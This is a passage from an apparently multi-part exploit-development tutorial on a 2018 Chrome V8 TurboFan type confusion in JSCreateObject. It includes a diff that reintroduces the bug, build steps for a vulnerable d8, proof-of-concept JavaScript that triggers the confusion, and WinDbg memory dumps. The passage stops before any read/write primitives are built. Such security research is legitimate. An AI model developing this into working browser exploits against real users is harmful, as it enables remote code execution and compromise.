- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- dictionary_map
- may_have_interesting_symbols
- prototype_map
- prototype info: 0x02a50025a9f1 <PrototypeInfo>
- prototype_validity cell: 0x02a5002043cd <Cell value= 1>
- instance descriptors (own) #0: 0x02a5000021ed <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
- prototype: 0x02a500244669 <Object map = 000002A500243D25>
- constructor: 0x02a50024422d <JSFunction Object (sfi = 000002A50021BA25)>
- dependent code: 0x02a5000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
</code></pre></div></div>
<p>As you can see, when <code class="language-plaintext highlighter-rouge">Object.create</code> is called, the map of the object is changed from a <code class="language-plaintext highlighter-rouge">FastProperties</code> map with in-object properties to a <code class="language-plaintext highlighter-rouge">DictionaryProperties</code> map where these properties are now stored in a dictionary. This side-effect invalidates the <code class="language-plaintext highlighter-rouge">kNoWrite</code> flag for the <code class="language-plaintext highlighter-rouge">ObjectCreate</code> intermediate representation (IR) operation, proving that this assumption is flawed.</p>
<p>In this case, if we can get a <code class="language-plaintext highlighter-rouge">CheckMap</code> operation to be eliminated through redundancy elimination before the call to <code class="language-plaintext highlighter-rouge">Object.create</code>, then we can trigger a type confusion vulnerability. The type confusion will occur when the engine will try to access the out-of-line properties within the properties backing store. The engine expects the properties backing store to be a <code class="language-plaintext highlighter-rouge">FixedArray</code> where each property is stored one after another, but instead it will now point to a more complex <code class="language-plaintext highlighter-rouge">NameDictionary</code>.</p>
<h1 id="setting-up-our-environment">Setting Up Our Environment</h1>
<p>Before we can move on to analyzing and exploiting this bug, we first need to set up our development environment. If you have been following this blog post series since Part 1, you likely already have a working version of d8 after following the instructions in my “<a href="https://gist.github.com/jhalon/5cbaab99dccadbf8e783921358020159">Building Chrome V8 on Windows</a>” guide.</p>
<p>Since this bug is from 2018, there have been a lot of changes to the Chromium codebase along with changes to the dependencies required to build newer versions. To reproduce this bug you can simply just apply the below diff patch to the <code class="language-plaintext highlighter-rouge">src/compiler/js-operator.cc</code> file:</p>
<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gh">diff --git a/src/compiler/js-operator.cc b/src/compiler/js-operator.cc
index 8af8e7d32f..63edfa9684 100644
</span><span class="gd">--- a/src/compiler/js-operator.cc
</span><span class="gi">+++ b/src/compiler/js-operator.cc
</span><span class="p">@@ -750,7 +750,7 @@</span> Type JSWasmCallNode::TypeForWasmReturnType(const wasm::ValueType& type) {
V(CreateKeyValueArray, Operator::kEliminatable, 2, 1) \
V(CreatePromise, Operator::kEliminatable, 0, 1) \
V(CreateTypedArray, Operator::kNoProperties, 5, 1) \
<span class="gd">- V(CreateObject, Operator::kNoProperties, 1, 1) \
</span><span class="gi">+ V(CreateObject, Operator::kNoWrite, 1, 1) \
</span> V(ObjectIsArray, Operator::kNoProperties, 1, 1) \
V(HasInPrototypeChain, Operator::kNoProperties, 2, 1) \
V(OrdinaryHasInstance, Operator::kNoProperties, 2, 1) \
</code></pre></div></div>
<p>However, during my testing, while I was able to trigger the bug, I was not able to actually get a working type confusion and abuse the <code class="language-plaintext highlighter-rouge">addrOf</code> and <code class="language-plaintext highlighter-rouge">fakeObj</code> primitives (which we will discuss later in the post). I am not sure why this was the case, but it could be that a code change between 2018 and 2022 patched part of the codebase that was required for these primitives.</p>
<blockquote>
<p><strong>UPDATE</strong>: The reason that this type confusion wasn’t working on newer versions of V8 after the diff patch, was due to the fact that the <a href="https://docs.google.com/document/d/1FM4fQmIhEqPG8uGp5o9A-mnPB5BOeScZYpkHjo0KKA8/edit">V8 Heap Sandbox</a> was enabled. This sandbox essentially prevents an attacker from corrupting V8 objects such as the <code class="language-plaintext highlighter-rouge">ArrayBuffer</code>.</p>
<p>After applying the patch, it’s potentially possible to disable the V8 Heap Sandbox via the <code class="language-plaintext highlighter-rouge">V8_VIRTUAL_MEMORY_CAGE</code> flag being set to <code class="language-plaintext highlighter-rouge">False</code> which was introduced in <a href="https://chromium-review.googlesource.com/c/v8/v8/+/3010195">Change 3010195</a>. I haven’t tested this personally, so I can’t guarantee this will work.</p>
<p><strong>UPDATE 2</strong>: If you want to apply this patch to newer versions of V8 and follow along, you can modify the <code class="language-plaintext highlighter-rouge">BUILD.gn</code> file and set <code class="language-plaintext highlighter-rouge">v8_enable_sandbox</code>, <code class="language-plaintext highlighter-rouge">v8_enable_pointer_compression</code>, and <code class="language-plaintext highlighter-rouge">v8_enable_pointer_compression_shared_cage</code> to <code class="language-plaintext highlighter-rouge">false</code>. Afterwards, you should be able to rebuild V8 by following the <a href="https://gist.github.com/jhalon/5cbaab99dccadbf8e783921358020159">original build instructions</a>.</p>
</blockquote>
<p>Instead, what I opted to do was to check out the last “vulnerable” commit before the bug fix and built v8 and d8 again. This itself posed some problems, as in 2018 Chrome required Visual Studio 2017, but in our current environment we have Visual Studio 2019. While it is still possible to build Chrome with Visual Studio 2019, we need to install some prerequisites first.</p>
<p>To start, open Visual Studio 2019 Installer, and install the following additional components:</p>
<ul>
<li>MSVC v140 - VS 2015 C++ build tools (v14.00)</li>
<li>MSVC v141 - VS 2017 C++ x64/x86 build tools (v14.16)</li>
<li>Windows 10 SDK (10.0.17134.0)</li>
</ul>
<p>Once those components are installed, we need to add the following Environmental Variables:</p>
<ul>
<li>Add the <strong>vs2017_install</strong> User Variable and set it to <code class="language-plaintext highlighter-rouge">C:\Program Files (x86)\Microsoft Visual Studio 14.0\</code></li>
<li>Add <code class="language-plaintext highlighter-rouge">C:\Program Files (x86)\Windows Kits\10\bin\10.0.17134.0\x64</code> to the User <strong>Path</strong> Variable.</li>
</ul>
<p>Once that’s configured, we now need to modify the V8 codebase. If we look into the <code class="language-plaintext highlighter-rouge">git log</code> of commit <a href="https://chromium.googlesource.com/v8/v8.git/+log/52a9e67a477bdb67ca893c25c145ef5191976220">52a9e67a477bdb67ca893c25c145ef5191976220</a> we’ll see that the last vulnerable commit before the bug fix was <code class="language-plaintext highlighter-rouge">568979f4d891bafec875fab20f608ff9392f4f29</code>.</p>
<p align="center"><a href="/images/Patch-Commit.png"><img src="/images/Patch-Commit.png" /></a></p>
<p>With that commit in hand, we can run the <code class="language-plaintext highlighter-rouge">git checkout</code> command to update the files in the V8 directory and match the version of the last vulnerable commit.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:\dev\v8\v8>git checkout 568979f4d891bafec875fab20f608ff9392f4f29
HEAD is now at 568979f4d8 [parser] Fix memory accounting of explicitly cleared zones
</code></pre></div></div>
<p>After setting that up, delete the <code class="language-plaintext highlighter-rouge">x64.debug</code> directory in the <code class="language-plaintext highlighter-rouge">v8\v8\out\</code> folder to avoid errors. Next, modify the <code class="language-plaintext highlighter-rouge">build/toolchain/win/tool_wrapper.py</code> build script to match the contents of the <code class="language-plaintext highlighter-rouge">tool_wrapper.py</code> file after the fix was applied to <a href="https://chromium-review.googlesource.com/c/chromium/src/+/1962898/1/build/toolchain/win/tool_wrapper.py">remove the superflush hack</a> due to a build error reported in <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=1033106">Issue 1033106</a>.</p>
<p>Once you have modified the <code class="language-plaintext highlighter-rouge">tool_wrapper.py</code> file, you can <a href="https://chromium.googlesource.com/chromium/src/+/master/docs/windows_build_instructions.md#Editing-and-Debugging-With-the-Visual-Studio-IDE">build the debug</a> version of d8 with the following commands:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:\dev\v8\v8>gn gen --ide=vs out\x64.debug
C:\dev\v8\v8>cd out\x64.debug
C:\dev\v8\v8\out\x64.debug>msbuild all.sln
</code></pre></div></div>
<p>This build may take a while to complete, so go get a coffee while you wait. ☕</p>
<p>Once the build is completed, you should be able to launch d8 and successfully run the <code class="language-plaintext highlighter-rouge">poc.js</code> script from the <a href="https://ssd-disclosure.com/ssd-advisory-chrome-type-confusion-in-jscreateobject-operation-to-rce/">SSD Advisory</a> to confirm that you can create a working read/write primitive.</p>
<h1 id="generating-a-proof-of-concept">Generating a Proof of Concept</h1>
<p>Now that we have a vulnerable version of V8 and understand the underlying bug, we can start writing our proof of concept. Let’s start by recapping what we need this proof of concept to do:</p>
<ol>
<li>Create a new object with an inline-property that will be used as our prototype for <code class="language-plaintext highlighter-rouge">Object.create</code>.</li>
<li>Add a new out-of-line property to the object’s property backing store, which we will attempt to access after the Map transition.</li>
<li>Force a <code class="language-plaintext highlighter-rouge">CheckMap</code> operation on the object to trigger redundancy elimination, which will remove subsequent <code class="language-plaintext highlighter-rouge">CheckMap</code> operations.</li>
<li>Call <code class="language-plaintext highlighter-rouge">Object.create</code> with the previously created object to force a Map transition.</li>
<li>Access the out-of-line property of our object.
<ul>
<li>Due to the <code class="language-plaintext highlighter-rouge">CheckMap</code> redundancy elimination, the engine will dereference the property pointer thinking it’s an array. However, it now points to a <code class="language-plaintext highlighter-rouge">NamedDictionary</code>, allowing us to access different data.</li>
</ul>
</li>
</ol>
<p>On the surface, this may seem straightforward. However, it’s important to note that bugs can often be more complex in practice than in theory, particularly when it comes to triggering or exploiting them. Therefore, the hardest part is usually triggering the bug and getting a type confusion to work. Once that is achieved, the process toward exploitation tends to be smoother.</p>
<p>So, how do we begin?</p>
<p>Fortunately for us, if we examine the diff for <code class="language-plaintext highlighter-rouge">52a9e67a477bdb67ca893c25c145ef5191976220</code>, we will notice that the Chrome team added a regression test case in the commit. A regression test is used to verify that any updates or modifications to an application do not affect its overall functionality. In this case, the regression file appears to be testing for our bug!</p>
<p>Let’s take a look at this test case and see what we can work with.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Flags: --allow-natives-syntax</span>
<span class="p">(</span><span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
<span class="kd">function</span> <span class="nx">f</span><span class="p">(</span><span class="nx">o</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">o</span><span class="p">.</span><span class="nx">x</span><span class="p">;</span>
<span class="nb">Object</span><span class="p">.</span><span class="nx">create</span><span class="p">(</span><span class="nx">o</span><span class="p">);</span>
<span class="k">return</span> <span class="nx">o</span><span class="p">.</span><span class="nx">y</span><span class="p">.</span><span class="nx">a</span><span class="p">;</span>
<span class="p">}</span>
<span class="nx">f</span><span class="p">({</span> <span class="na">x</span> <span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="na">y</span> <span class="p">:</span> <span class="p">{</span> <span class="na">a</span> <span class="p">:</span> <span class="mi">1</span> <span class="p">}</span> <span class="p">});</span>
<span class="nx">f</span><span class="p">({</span> <span class="na">x</span> <span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="na">y</span> <span class="p">:</span> <span class="p">{</span> <span class="na">a</span> <span class="p">:</span> <span class="mi">2</span> <span class="p">}</span> <span class="p">});</span>
<span class="o">%</span><span class="nx">OptimizeFunctionOnNextCall</span><span class="p">(</span><span class="nx">f</span><span class="p">);</span>
<span class="nx">assertEquals</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="nx">f</span><span class="p">({</span> <span class="na">x</span> <span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="na">y</span> <span class="p">:</span> <span class="p">{</span> <span class="na">a</span> <span class="p">:</span> <span class="mi">3</span> <span class="p">}</span> <span class="p">}));</span>
<span class="p">})();</span>
</code></pre></div></div>
<p>From the top of the code, we can see that a new function <code class="language-plaintext highlighter-rouge">f</code> is created which accepts an object <code class="language-plaintext highlighter-rouge">o</code>. When this function is called, it performs the following actions on the passed-in object:</p>
<ol>
<li>It access property <code class="language-plaintext highlighter-rouge">a</code> of object <code class="language-plaintext highlighter-rouge">o</code>, which should force a <code class="language-plaintext highlighter-rouge">CheckMap</code> operation.</li>
<li>Calls <code class="language-plaintext highlighter-rouge">Object.create</code> on object <code class="language-plaintext highlighter-rouge">o</code>, which should force a Map transition.</li>
<li>Accesses an out-of-bound property of <code class="language-plaintext highlighter-rouge">a</code> in the passed-in object <code class="language-plaintext highlighter-rouge">y</code>, which should trigger the type-confusion.</li>
</ol>
<p>We can see that this function is called twice with simple objects and properties, and then <code class="language-plaintext highlighter-rouge">%OptimizeFunctionOnNextCall</code> is called, which forces V8 to pass the function to TurboFan for optimization. This prevents us from needing to run a loop to make the function “hot”. The function is then called for a third time, which should trigger our bug.</p>
<p>As you can see, the <a href="https://developer.mozilla.org/en-US/docs/Web/API/console/assert">assert</a> method is called to check that the value of <code class="language-plaintext highlighter-rouge">3</code> is returned. If it is not, it’s possible that the bug is still present.</p>
<p>This is helpful for us because we now have a working proof of concept that we can use. Although, I’m not sure why they are using a object within the properties backing store instead of a value. Guess we’ll figure that out later.</p>
<p>With this information, let’s build our own proof of concept script by using the information we have gathered. Afterwards, we’ll perform a few checks to make sure that we indeed have a working type confusion, and we’ll also use Turbolizer to validate that the <code class="language-plaintext highlighter-rouge">CheckMap</code> operation is indeed removed via redundancy elimination.</p>
<p>Our proof of concept should look like so:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">vuln</span><span class="p">(</span><span class="nx">obj</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// Access Property a of obj, forcing a CheckMap operation</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">a</span><span class="p">;</span>
<span class="c1">// Force a Map Transition via our side-effect</span>
<span class="nb">Object</span><span class="p">.</span><span class="nx">create</span><span class="p">(</span><span class="nx">obj</span><span class="p">)</span>
<span class="c1">// Trigger our type-confusion by accessing an out-of-bound property</span>
<span class="k">return</span> <span class="nx">obj</span><span class="p">.</span><span class="nx">b</span><span class="p">;</span>
<span class="p">}</span>
<span class="nx">vuln</span><span class="p">({</span><span class="na">a</span><span class="p">:</span><span class="mi">42</span><span class="p">,</span> <span class="na">b</span><span class="p">:</span><span class="mi">43</span><span class="p">});</span> <span class="c1">// Warm-up code</span>
<span class="nx">vuln</span><span class="p">({</span><span class="na">a</span><span class="p">:</span><span class="mi">42</span><span class="p">,</span> <span class="na">b</span><span class="p">:</span><span class="mi">43</span><span class="p">});</span>
<span class="o">%</span><span class="nx">OptimizeFunctionOnNextCall</span><span class="p">(</span><span class="nx">vuln</span><span class="p">);</span> <span class="c1">// JIT Compile vuln</span>
<span class="nx">vuln</span><span class="p">({</span><span class="na">a</span><span class="p">:</span><span class="mi">42</span><span class="p">,</span> <span class="na">b</span><span class="p">:</span><span class="mi">43</span><span class="p">});</span> <span class="c1">// Trigger type-confusion - should not return 43!</span>
</code></pre></div></div>
<p>Now that we have created our proof of concept, let’s start <code class="language-plaintext highlighter-rouge">d8</code> with the <code class="language-plaintext highlighter-rouge">--allow-naitives-syntax</code> flag and add in our <code class="language-plaintext highlighter-rouge">vuln</code> function. Once the function is created, let’s execute the last 4 lines of code within our proof of concept. You should see the following output:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>d8> vuln({a:42, b:43})
43
d8> vuln({a:42, b:43})
43
d8> %OptimizeFunctionOnNextCall(vuln)
undefined
d8> vuln({a:42, b:43})
0
</code></pre></div></div>
<p>And with that, we have working proof of concept! As you can see, the optimized function no longer returns <code class="language-plaintext highlighter-rouge">43</code>, but returns <code class="language-plaintext highlighter-rouge">0</code> instead.</p>
<p>Before we delve further into the bug and try to achieve a working type-confusion, let’s run this script with the <code class="language-plaintext highlighter-rouge">--trace-turbo</code> flag and inspect the IR at each optimization stage to confirm that the <code class="language-plaintext highlighter-rouge">CheckMap</code> node has indeed been removed and that this is not a fluke.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:\dev\v8\v8\out\x64.debug>d8 --allow-natives-syntax --trace-turbo poc.js
Concurrent recompilation has been disabled for tracing.
---------------------------------------------------
Begin compiling method vuln using Turbofan
---------------------------------------------------
Finished compiling method vuln using Turbofan
</code></pre></div></div>
<p>Once you have the turbo file created, let’s examine the Typer optimization phase to see the initial IR graph.</p>
<p align="center"><a href="/images/POC-Turbo1.png"><img src="/images/POC-Turbo1.png" /></a></p>
<p>Initial review of the IR shows us what we expected. As you can see, the <code class="language-plaintext highlighter-rouge">Parameter[1]</code> node passes in the object for our function. This object goes through a <code class="language-plaintext highlighter-rouge">CheckMaps</code> operation to validate the map, and then a <code class="language-plaintext highlighter-rouge">LoadField</code> operation is called to return property <code class="language-plaintext highlighter-rouge">a</code>.</p>
<p>Next, we call <code class="language-plaintext highlighter-rouge">JSCreateObject</code> to modify our object into a prototype. Afterwards the IR goes through a <code class="language-plaintext highlighter-rouge">CheckMaps</code> operation to validate the Map of the object and then calls the <code class="language-plaintext highlighter-rouge">LoadField</code> operation to return property <code class="language-plaintext highlighter-rouge">b</code>. This is the expected side-effect flow that should have been preserved.</p>
<p>Now, let’s take a look at the IR after the lowering phase. Since <code class="language-plaintext highlighter-rouge">CreateObject</code> does not write to the side-effect chain, the <code class="language-plaintext highlighter-rouge">CheckMaps</code> node should no longer exist due to redundancy elimination.</p>
<p align="center"><a href="/images/POC-Turbo2.png"><img src="/images/POC-Turbo2.png" /></a></p>
<p>As you can see in the simplified lowering phase, our previous <code class="language-plaintext highlighter-rouge">CheckMaps</code> node after the <code class="language-plaintext highlighter-rouge">JSCreateObject</code> call has now been removed and it directly calls the <code class="language-plaintext highlighter-rouge">LoadField</code> node.</p>
<p>Now that we have confirmed that JIT’d code does indeed remove the <code class="language-plaintext highlighter-rouge">CheckMaps</code> node, let’s modify our proof of concept to not use <code class="language-plaintext highlighter-rouge">%OptimizeFunctionOnNextCall</code> and instead put our code within a loop so that JIT will take over when it is executed.</p>
<p>Additionally, this time let’s add an out-of-line property to our object so that we can force JIT to access the backing store as an array, which will trigger our type confusion.</p>
<p>Our updated POC will look like so:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">vuln</span><span class="p">(</span><span class="nx">obj</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// Access Property a of obj, forcing a CheckMap operation</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">a</span><span class="p">;</span>
<span class="c1">// Force a Map Transition via our side-effect</span>
<span class="nb">Object</span><span class="p">.</span><span class="nx">create</span><span class="p">(</span><span class="nx">obj</span><span class="p">)</span>
<span class="c1">// Trigger our type-confusion by accessing an out-of-bound property</span>
<span class="k">return</span> <span class="nx">obj</span><span class="p">.</span><span class="nx">b</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o"><</span> <span class="mi">10000</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">let</span> <span class="nx">obj</span> <span class="o">=</span> <span class="p">{</span><span class="na">a</span><span class="p">:</span><span class="mi">42</span><span class="p">};</span> <span class="c1">// Create object with in-line properties</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">43</span><span class="p">;</span> <span class="c1">// Store property out-of-line in backing store</span>
<span class="nx">vuln</span><span class="p">(</span><span class="nx">obj</span><span class="p">);</span> <span class="c1">// Trigger type-confusion</span>
<span class="p">}</span>
</code></pre></div></div>
<p>After updating this code, and running it with the <code class="language-plaintext highlighter-rouge">--trace-turbo</code> flag, we can again confirm that we have a working type-confusion. As we can see in the IR, the compiler accesses our object’s backing store pointer at offset 8, and then loads property <code class="language-plaintext highlighter-rouge">b</code> which it thinks is at offset 16 in the array. However, it will access another region of data since it’s no longer an array but a dictionary.</p>
<p align="center"><a href="/images/POC-Turbo3.png"><img src="/images/POC-Turbo3.png" /></a></p>
<h1 id="exploiting-a-type-confusion-for-jscreateobject">Exploiting a Type Confusion for <code class="language-plaintext highlighter-rouge">JSCreateObject</code></h1>
<p>Now that we have a working type-confusion where V8 access a <code class="language-plaintext highlighter-rouge">NamedDictionary</code> as an array, we have to figure out how we can abuse this vulnerability to gain read and write access to V8’s heap.</p>
<p>Unlike many exploits, this vulnerability does not involve a memory corruption flaw, so it is not possible to overflow a buffer and control the instruction pointer (RIP). However, type confusion vulnerabilities do allow us to manipulate function pointers and data within the memory layout of an object. For instance, if we can overwrite the pointer to an object and V8 dereferences or jumps to that pointer, we can achieve code execution.</p>
<p>Unfortunately, we can’t just blindly start reading and writing data into objects without having some precision. As seen in the IR above, we do have some control over where V8 will go to read and write data by specifying a property in an array. However, due to the type confusion, this array is converted into a <code class="language-plaintext highlighter-rouge">NameDictionary</code>, which means the layout changes.</p>
<p>To exploit this vulnerability, we need to understand how these two object structures differ and how we can manipulate them to achieve our goals.</p>
<p>As we know from Part 1, an array is simply a <code class="language-plaintext highlighter-rouge">FixedArray</code> structure that stores property values one after the other and is accessed by index. As you can see in the IR above, the first <code class="language-plaintext highlighter-rouge">LoadField</code> call is at offset 8, which would be the properties backing store pointer within <code class="language-plaintext highlighter-rouge">JSObject</code>. Since we have only one out-of-line property in the backing store, we see the second <code class="language-plaintext highlighter-rouge">LoadField</code> access the first property at offset 16, initially skipping over the Map and Length.</p>
<p align="center"><a href="/images/Obj1.png"><img src="/images/Obj1.png" /></a></p>
<p>During the conversion from an array to a dictionary, we also know that all the properties metadata information is no longer stored in the Descriptor Array in the Map but directly in the properties backing store. In this case, the dictionary stores property values inside a dynamically sized buffer of name, value, and detail triplets.</p>
<p>In essence, the <code class="language-plaintext highlighter-rouge">NameDictionary</code> structure is more complex than what we detailed in Part 1. To better understand the memory layout of a <code class="language-plaintext highlighter-rouge">NameDictionary</code>, I have provided a visual example below.</p>
<p align="center"><a href="/images/NamedDict.png"><img src="/images/NamedDict.png" /></a></p>
<p>As you can see, the <code class="language-plaintext highlighter-rouge">NameDictionary</code> does store the property triplets as well as additional metadata related to the number of elements in the dictionary. In this case, if our type-confusion read the data at offset 16 like in the IR above, then it would have read the number of elements that are stored within the dictionary.</p>
<p>To validate this information, we can reuse our proof-of-concept script and set breakpoints in WinDbg to examine the memory layout of our objects. One simple way to debug these proof-of-concept scripts is to set a breakpoint on the <code class="language-plaintext highlighter-rouge">RUNTIME_FUNCTION(Runtime_DebugPrint)</code> function in the <code class="language-plaintext highlighter-rouge">/src/runtime/runtime-test.cc</code> source file. This will trigger when <code class="language-plaintext highlighter-rouge">%DebugPrint</code> is called, allowing us to get debug output from d8 and further analyze the exploit in WinDbg.</p>
<p>Let’s start by modifying the proof-of-concept by adding in the <code class="language-plaintext highlighter-rouge">DebugPrint</code> command before and after the object is changed. The script should look like this:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">vuln</span><span class="p">(</span><span class="nx">obj</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// Access Property a of obj, forcing a CheckMap operation</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">a</span><span class="p">;</span>
<span class="c1">// Force a Map Transition via our side-effect</span>
<span class="nb">Object</span><span class="p">.</span><span class="nx">create</span><span class="p">(</span><span class="nx">obj</span><span class="p">)</span>
<span class="c1">// Trigger our type-confusion by accessing an out-of-bound property</span>
<span class="k">return</span> <span class="nx">obj</span><span class="p">.</span><span class="nx">b</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o"><</span> <span class="mi">10000</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">let</span> <span class="nx">obj</span> <span class="o">=</span> <span class="p">{</span><span class="na">a</span><span class="p">:</span><span class="mi">42</span><span class="p">};</span> <span class="c1">// Create object with in-line properties</span>
<span class="nx">obj</span><span class="p">.</span><span class="nx">b</span> <span class="o">=</span> <span class="mi">43</span><span class="p">;</span> <span class="c1">// Store property out-of-line in backing store</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="o">%</span><span class="nx">DebugPrint</span><span class="p">(</span><span class="nx">obj</span><span class="p">);</span> <span class="p">}</span>
<span class="nx">vuln</span><span class="p">(</span><span class="nx">obj</span><span class="p">);</span> <span class="c1">// Trigger type-confusion</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">i</span> <span class="o">=</span> <span class="mi">9999</span><span class="p">)</span> <span class="p">{</span> <span class="o">%</span><span class="nx">DebugPrint</span><span class="p">(</span><span class="nx">obj</span><span class="p">);</span> <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>To help analyze the memory layout of our object, we modify the proof-of-concept script to print out the object information at two points: once at iteration 1 after setting up its properties, and again at iteration 9999 after JIT kicks in and modifies the object.</p>
<p>To debug this script, we can launch d8 within WinDbg using the <code class="language-plaintext highlighter-rouge">--allow-natives-syntax</code> flag, followed by the location of the proof-of-concept script. For example:</p>
<p align="center"><a href="/images/WinDBG-Start.png"><img src="/images/WinDBG-Start.png" /></a></p>
<p>Once done, press <code class="language-plaintext highlighter-rouge">Debug</code>. This will launch d8 and will hit the first debugging breakpoint which is set by WinDbg.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(17f0.155c): Break instruction exception - code 80000003 (first chance)
ntdll!LdrpDoDebuggerBreak+0x30:
00007ffd`16220950 cc int 3
</code></pre></div></div>
<p>Now we can search for our <code class="language-plaintext highlighter-rouge">DebugPrint</code> function in V8’s source code by using the <code class="language-plaintext highlighter-rouge">x v8!*DebugPrint*</code> command within WinDbg. You should get similar output as below.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> x v8!*DebugPrint*
*** WARNING: Unable to verify checksum for C:\dev\v8\v8\out\x64.debug\v8.dll
00007ffc`dc035ba0 v8!v8::internal::Runtime_DebugPrint (int, class v8::internal::Object **, class v8::internal::Isolate *)
00007ffc`db99ef00 v8!v8::internal::ScopeIterator::DebugPrint (void)
00007ffc`dc035f40 v8!v8::internal::__RT_impl_Runtime_DebugPrint (class v8::internal::Arguments *, class v8::internal::Isolate *)
</code></pre></div></div>
<p>We’ll set a breakpoint on the <code class="language-plaintext highlighter-rouge">v8!v8::internal::Runtime_DebugPrint</code> function. You can do that by running the following command in WinDbg.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bp v8!v8::internal::Runtime_DebugPrint
</code></pre></div></div>
<p>Once that breakpoint is configured, press <code class="language-plaintext highlighter-rouge">Go</code> or type <code class="language-plaintext highlighter-rouge">g</code> in the command window and we should hit our <code class="language-plaintext highlighter-rouge">DebugPrint</code> breakpoint.</p>
<p align="center"><a href="/images/WinDBG-BP1.png"><img src="/images/WinDBG-BP1.png" /></a></p>
<p>You may notice that, even though the breakpoint is hit, there is no output in d8. To remedy this, we can set a breakpoint on line 542 by clicking on it and pressing <code class="language-plaintext highlighter-rouge">F9</code>. Then, we can press <code class="language-plaintext highlighter-rouge">Shift + F11</code> or “Step Out” to continue execution and see the debug output in d8.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>DebugPrint: 000000C44E40DAD9: [JS_OBJECT_TYPE]
- map: 0x02a66658c251 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x00a318f04229 <Object map = 000002A6665822F1>
- elements: 0x02c9f8782cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x00c44e40db81 <PropertyArray[3]> {
#a: 42 (data field 0)
#b: 43 (data field 1) properties[0]
}
</code></pre></div></div>
<p>Upon inspection of the output, we can see that our object has one inline property, and one out-of-line property which should be in the properties backing store at address <code class="language-plaintext highlighter-rouge">0x00c44e40db81</code>. Let’s quickly peek into our object with WinDbg to verify that address.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> dq 000000C44E40DAD9-1 L6
000000c4`4e40dad8 000002a6`6658c251 000000c4`4e40db81
000000c4`4e40dae8 000002c9`f8782cf1 0000002a`00000000
000000c4`4e40daf8 000002c9`f8782341 00000005`00000000
</code></pre></div></div>
<p>Right away, we notice something different. While the object structure matches the address within the debug output, we notice that these are full 32bit addresses. The reason for this is because in this version of V8, pointer compression wasn’t yet implemented, so V8 still uses full 32bit address. As a result, values stored in the object structure are no longer doubled. This can be confirmed by verifying that the hex value of <code class="language-plaintext highlighter-rouge">0x2a</code> is actually 42, which is the value of the first inline property.</p>
<p>Knowing this, let’s validate our properties array backing store structure by inspecting its memory content in WinDbg.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> dq 0x00c44e40db81-1 L6
000000c4`4e40db80 000002c9`f8783899 00000003`00000000
000000c4`4e40db90 0000002b`00000000 000002c9`f87825a1
000000c4`4e40dba0 000002c9`f87825a1 deadbeed`beadbeef
</code></pre></div></div>
<p>Upon doing so, we see that the <code class="language-plaintext highlighter-rouge">b</code> property (with a value of 43 or <code class="language-plaintext highlighter-rouge">0x2b</code> in hex) is at offset 16 of the array in the property backing store.</p>
<p>Now that we have validate our object structure, let’s press <code class="language-plaintext highlighter-rouge">Go</code> and then <code class="language-plaintext highlighter-rouge">Shift + F12</code>, to get the output of our modified object after triggering the bug.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>DebugPrint: 000000C44E40DAD9: [JS_OBJECT_TYPE]
- map: 0x02a66658c2f1 <Map(HOLEY_ELEMENTS)> [DictionaryProperties]
- prototype: 0x00a318f04229 <Object map = 000002A6665822F1>
